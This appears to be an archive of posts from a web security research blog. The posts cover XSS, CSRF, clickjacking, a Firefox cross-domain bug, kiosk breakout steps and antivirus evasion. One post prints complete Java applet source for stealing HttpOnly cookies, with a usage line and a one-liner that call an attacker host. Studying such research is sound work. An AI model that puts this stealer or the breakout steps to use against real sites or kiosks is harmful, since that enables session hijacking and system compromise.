Sunday, April 14, 2013

Microsoft Internet Explorer 10 - Client-side protection from Password Reveal Button


There has been a privacy concern on Microsoft Internet Explorer 10 -  Reveal Password button feature (aka eye symbol icon).  IE users can disable this feature via group policy. Web developers can disable it via  IE browser specific "::-ms-reveal"  pseudo element.

From developer's perspective, the first solution is out of reach as user's group policy settings cannot be controlled.  Unfortunately, the second option works only in IE 10 document mode. It will not work if a web site is rendered as a lower version of IE for compatibility reason (i.e. 7, 8 , 9).

For the benefit of those who may first be puzzled how to protect, we just coded a few JavaScript lines that can seamlessly mask user password characters in password input field. This solution allows developer to retrieve the password via a JavaScript variable call.

Solution:
https://code.google.com/p/ie10-nopeeping/downloads/

Demo Video:

Try yourself:


Sunday, January 6, 2013

From CSRF Protection Bypass to Shell


If the CSRF protection was not implemented in a secure manner, this could lead to attacker having high privileged functions like an administrator user to perform malicious attacks on the server.  Nowadays' open-source applications provide excessive functions to administrator users, arguing that the user type is trusted and user login function is protected with anti brute force mechanism.


Reference: 
http://yehg.net/lab/pr0js/advisories/%5Btomatocart1.x%5D_ant-csrf_bypass

Monday, December 24, 2012

[ClickJacking Demo] Chaining Multiple Vulnerabilities via ClickJacking

Video Link             PDF Link

"Clickjacking for Shells" by Andrew Horton is an excellent demonstration of ClickJacking attack. In his demonstration, he leveraged the ClickJacking vulnerability to install vulnerable WordPress plugin. From it, he utilized Cross Site Scripting vulnerability in that plugin to upload a PHP shell script.

Lessons Learnt

1. ClickJacking attack when utilized with other attack vectors is awesome. It just depends on the creativity how the attack will be carried out.

2. Web applications should never allow language specific shell scripts to be uploaded even for administrator users.  This fact is largely underestimated by nowadays' open-source developers.


Monday, September 10, 2012

Cross Domain Data Access via JavaScript: window.open


The Analysis

In 2008, we prepared a quick short demo  about "Cross-Domain Autcomplete Data Access" or "How Bad Guys Steal your Login Info Smartly". 

Let's learn about another not-so-old cross-domain vulnerability in Firefox 4 - Firefox 11 discovered by Jordi Chancel, Eddy Bordi, and Chris McGowen.  The bug relied on the Firefox's  processing of the JavaScript "window.open()" API.   The proof-of-concept exploit comprised of two components:
  • A client-side page that does a redirection trick with JavaScript API - history.back(), history.forward() and 
  • A server-side page that does a redirection trick with  JavaScript API - history.forward()  and a server-side timing redirection to an ARBITRARY web site 
Brandon the explained the root cause in a simple way in the  Bugzilla post:
When using window.open and some APIs to navigate the opened document, it is possible to navigate the opened document to a different site, while the location bar doesn't stay in sync with the new location.
The visible part was attacker's controlled web site with contents from his targeted web site. The background end result was being able to inject his controlled scripts into his targeted web sites. 

As we can learn from Chris's demo,  the execution of the JavaScript at the localhost was actually triggered at an off-site site, www.google.com, according to his mentioned script domain.domain property.   

The vulnerability went far beyond the URL spoofing.  In a normal URL spoofing vulnerability, the script execution ties only to the localhost itself. 

The issue was filed under Mozilla Advisory 2012-27 and CVE-2012-0474.

Lesson Learnt

Apparently, this window.open trick was used as URL spoofing test vector since the early days of Firefox 1.x/2.x and Internet Explorer 6.x.  It is surprised to see new versions of Firefox re-introduced the old issue. 

Finding zero-day or browser-based flaws give invaluable advantage to attackers as they do not need to exploit web applications; hence decreasing the chance of their attack being noticed and increasing the likelihoods of their attack against victims being successful.

It has been recommended to use a single-browser based approach on accessing critical web sites.  This advice was not feasible for those web 2.0 applications which have plethora of complex third-party integration. For example, you have to use your Google account to post comments or purchase applications from Google store.  

However, critical applications such as Banking should not rely third-party systems to do their operations so users can use the "single-browser, single domain" approach to safely use the service. 



Sunday, September 9, 2012

Jumping out of Touch Screen Kiosks

Background:

Nowadays, the use of large touch screen kiosks has been prevalent.  They are to replace tradition paper-based brochures and to provide more interactive means to consumers. In restaurants, you can see a variety of food menu that can be accessible in large touch screen LCD monitor.  In your local Telcos, you can see a variety of mobile and Internet subscriptions plans.  

Behind these touch screen menus are running standalone or browser-mode Adobe Flash applications which are second-to-none for interactivity and scalablity and ease of update. Data could be pulled from somewhere round their centralized web severs.

Weakness: Jumping out

We cannot use iKat at first as we do not have access to any keyboard facility.
However, the trick is no-brainer.
  1. Do long press on any locations and relieve. 
  2. You should see the usual Flash context menu like:
  3. Touch "Global Settings". 
  4. A web browser window will pop up and redirect to the Adobe URL,  http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager.html .
  5. At this point in time, you have jumped out of the Touch Screen kiosk. You should be able to see the Window start menu and all that. 
  6. You should be able to imagine next steps on how to compromise this box. 



Saturday, June 23, 2012

XSS: Gaining access to HttpOnly Cookie in 2012


The Background - The Past


Gaining access to HttpOnly cookie was first attempted by means of XST, Cross Site Tracing vulnerability.

Soon after the popularity of XST, the TRACE method has been disabled by most web servers.  Later, browsers' implementation of XMLHttpRequest also blocked "TRACE" method (i.e. xmlhttp.open('TRACE', url, true)].  Later, a flawed implementation in Firefox's XMLHttpRequest which can be used to access set-cookie response header was fixed.  

JS Debugger pointing out "TRACE" method as invalid arugment

 JS Debugger pointing out "TRACE" method as illegal value

A Sla.ckers.org forum member, LeverOne, posted ways to access HttpOnly cookie through the use of Java API and applet.  I reproduced his techniques. When the first method was tried, the Java Runtime did not allow the HTTP TRACE method any more. It threw an error message, "uncaught exception: java.security.AccessControlException: access denied ("java.net.NetPermission" "allowHttpTrace")". When the second one was tried, the Java API, getRequestProperty("Cookie"), return "null" value. It seemed that we cannot read the browser cookie storage from Java applet though it can connect to the requested URL with browser cookie.

 Java permission exception for "TRACE" method being as HTTP Request

Cookie value shown as null from Java Applet

Subsequently, the HttpOnly cookie was forgotten by the security community. It was talked about and has been used as a security measure based on 1740K results from Google, including the OWASP.


The Current - 2012


As far as I have researched and tested, I could not find ways to gain access to an HttpOnly cookie that has already been used by browser.

I then thought of reading set-cookie response header containing HttpOnly cookie. Reading it through XMLHttpRequest was fixed.

When I looked at Microsoft Silverlight,  it seems that security considerations were taken into account in its design in HttpRequest and HttpResponse handling. Silverlight separates the Http handling by Browser-based and Client-based. I can gain access to the set-cookie response header only if I use the latter one.  Even so, this is applicable only for the set-cookie response header that does not have "HttpOnly" attribute. In addition, the Client-based cookie storage is isolated from the browser-based one.

  Silverlight application can read set-cookie response header without HttpOnly flag


Reading it through Adobe Flash/ActionScript seems possible for Adobe AIR and Flash Lite 4 based on the Adobe documentation.

httpResponseStatus

Event

Event Object Type: flash.events.HTTPStatusEvent
property HTTPStatusEvent.type = flash.events.HTTPStatusEvent.HTTP_RESPONSE_STATUS

Language Version: ActionScript 3.0
Runtime Versions: AIR 1.0, AIR 1.0, Flash Lite 4

Flash Lite is supposed to be able to run on mobile devices' browsers.  But I have short of Flash-Lite compatible devices at this moment. Anyone who has one can check this test page. The code is as simple as that:


ActionScript: Reading Response Header via the "httpResponseStatus" Event Listener


Then left is Java. Looking through Java Http API, I found an interesting method, getHeaderField, under java.net.URLConnection package. I quickly wrote an applet that requests a URL and reads its response set-cookie response header using getHeaderField method.


  1. /*
  2. HttpOnly Applet -  Stealing HttpOnly Cookie
  3. by Aung Khant, YGN Ethical Hacker Group, http://yehg.net/
  4. 2012-05-19
  5. Usage:
  6. <script>var ck= "";function getc(s){ck = s;alert("XSS HttpOnly-Cookie Stealer:\n\n" + ck);}</script><applet code=HO.class archive=HO.jar width=0 height=0><param name=u value=http://attacker.in/xss/cookie.php></applet>
  7. */
  8. import javax.swing.*;
  9. import netscape.javascript.*;
  10. import java.net.*;
  11. public class HO extends JApplet {
  12.         JSObject win;
  13.         String target, strcookies;
  14.     public void init() {
  15.                 win = JSObject.getWindow(this);
  16.                 target = getParameter("u");
  17.                 strcookies = "";
  18.                 try {
  19.                  SwingUtilities.invokeAndWait(new Runnable() {
  20.                                 public void run() {
  21.                                         try{
  22.                                                 URL url = new URL(target);
  23.                                                 URLConnection connection = url.openConnection();
  24.                                                 connection.connect();
  25.                                                 String headerName = null;
  26.                                                 for (int i=1; (headerName =connection.getHeaderFieldKey(i))!=null; i++) {
  27.                                                         if (headerName.equals("Set-Cookie") ||headerName.equals("Set-Cookie2")) {
  28.                                                                 String cookie = connection.getHeaderField(i);
  29.                                                                 String cookieName = cookie.substring(0, cookie.indexOf("="));
  30.                                                                 String cookieValue =cookie.substring(cookie.indexOf("=") + 1, cookie.length());
  31.                                                                 strcookies = strcookies + cookieName + "=" +cookieValue + "\n";
  32.                                                         }
  33.                                                 }
  34.                                                 Object results[];
  35.                                                 results = new Object[1];
  36.                                                 results[0] = strcookies;
  37.                                                 win.call("getc",  results);
  38.                                         }catch(Exception ex){
  39.                                                 ex.printStackTrace();
  40.                                         }
  41.                                 }
  42.                  });
  43.                 }
  44.             catch (Exception ex) {
  45.                  ex.printStackTrace();
  46.             }
  47.     }
  48. }


To my surprise, it works!


















 XSS Test: Getting HttpOnly Cookie through the Java Applet                          

I thought Java would block the set-cookie response header with HttpOnly flag like Silverlight. As a side-note, the Java API can be directly called from JavaScript as well, removing the bundle of compiling. So, the nice one-liner PoC will be as follows:

alert(new java.net.URL('http://attacker.in/xss/cookie.php').openConnection().getHeaderField('set-cookie'));

Why this can be an issue with Java itself, a vulnerable page in a real-world application may have already issued the HttpOnly cookie by the time the script has executed.

However, there are certain circumstances that lead us to compromise HttpOnly session cookie.

Let's say, we find an XSS issue in unauthenticated page, welcome.php. A victim has not accessed the login page, login.php, which issues an HttpOnly session cookie. The application does not renew new sesession cookie after user logs in, which is vulnerable to Session Fixation attack. In this case, we entice the victim to execute our HttpOnly cookie stealer XSS payload on the welcome.php page and make the payload send the stolen cookie to us.

According to the provided scenario, the exploit will not work if the victim has already accessed the login.php page. This is not always the case. For example, many web applications have a logout page whose job is to clear session data and to issue either new session cookie or empty session session cookie such as PHPSESSID=deleted. Here, our XSS payload will call this logout page first and then call the login page which issues HttpOnly session cookie.




Sunday, June 3, 2012

Using POST method to bypass IE-browser protected XSS

Up until now,  XSS prevention has been built in some popular browsers: Chrome, Safrai and Internet Explorer 8+.

We found Chrome and Safari prevent both POST and GET-based XSS.

Unfortunately, IE does not prevent POST-based XSS.

Get-Based XSS filtered by IE XSS Filter



POST-based XSS unfiltered by IE XSS Filter


HttpOnly Session ID in URL and Page Body | Cross Site Scripting

The Background

We have been seeing authentication session ID appeared in URL Query String/REST URI and page body.  The use of session ID in Query String is to enable session tracking for web browsers which disable or do not support browser-based cookie mechanism.  This is commonly seen in Java web applications and cookieless mechanism in ASP.net web applications.

From what we have seen so far, the session ID in page body is used as anti Cross Site Request Forgery token or anti-cache parameter though it is not very common.

The Problem

It should be noted that even though developers use the "HttpOnly" session cookie,  the above-mentioned  leakages of session ID in URL and page body nullify the effectiveness of "HttpOnly" flag.  This no doubt leads attackers to gain access to the HttpOnly session cookie via an Cross Site Scripting (XSS) vulnerability as JavaScript can read anything in the page body and URL information.



Saturday, April 28, 2012

MyAppSecurity's ThreatModeler

MyAppSecurity's Threat Modeler is far more comprehensive than Microsoft's. 
http://www.myappsecurity.com/threatmodeler/threatmodeler-vs-microsoft-tam/


Some of its features include:
  • Attack tree generation, which provides a visual representation of threats for a clearer analysis.
  • Automatically identify high value targets to ensure necessary security controls are put in place.
  • Centralized threat management to manage threats to your application, infrastructure, mobile devices, web services, etc.
  • Design and develop secure applications by enforcing secure architecture guidelines and secure coding standards including code snippets for various technologies.
  • Enforce secure deployment by providing secure hardening checklists for infrastructure components such as your database servers, web servers, host systems, etc.


Saturday, April 7, 2012

One reason why browser-based exploits win over Antivirus

As widely known, malware authors could make of SSL to bypass detection by proxy-based/host-based antivirus to deliver web-based malwares. Unlike HTTP, with the aid of anti-cache control header, malwares via HTTPS would never be saved to disk (which makes it undetected via on-access scanning mechanism by Antivirus softwares) and could be run directly from browser memory.


[click to enlarge]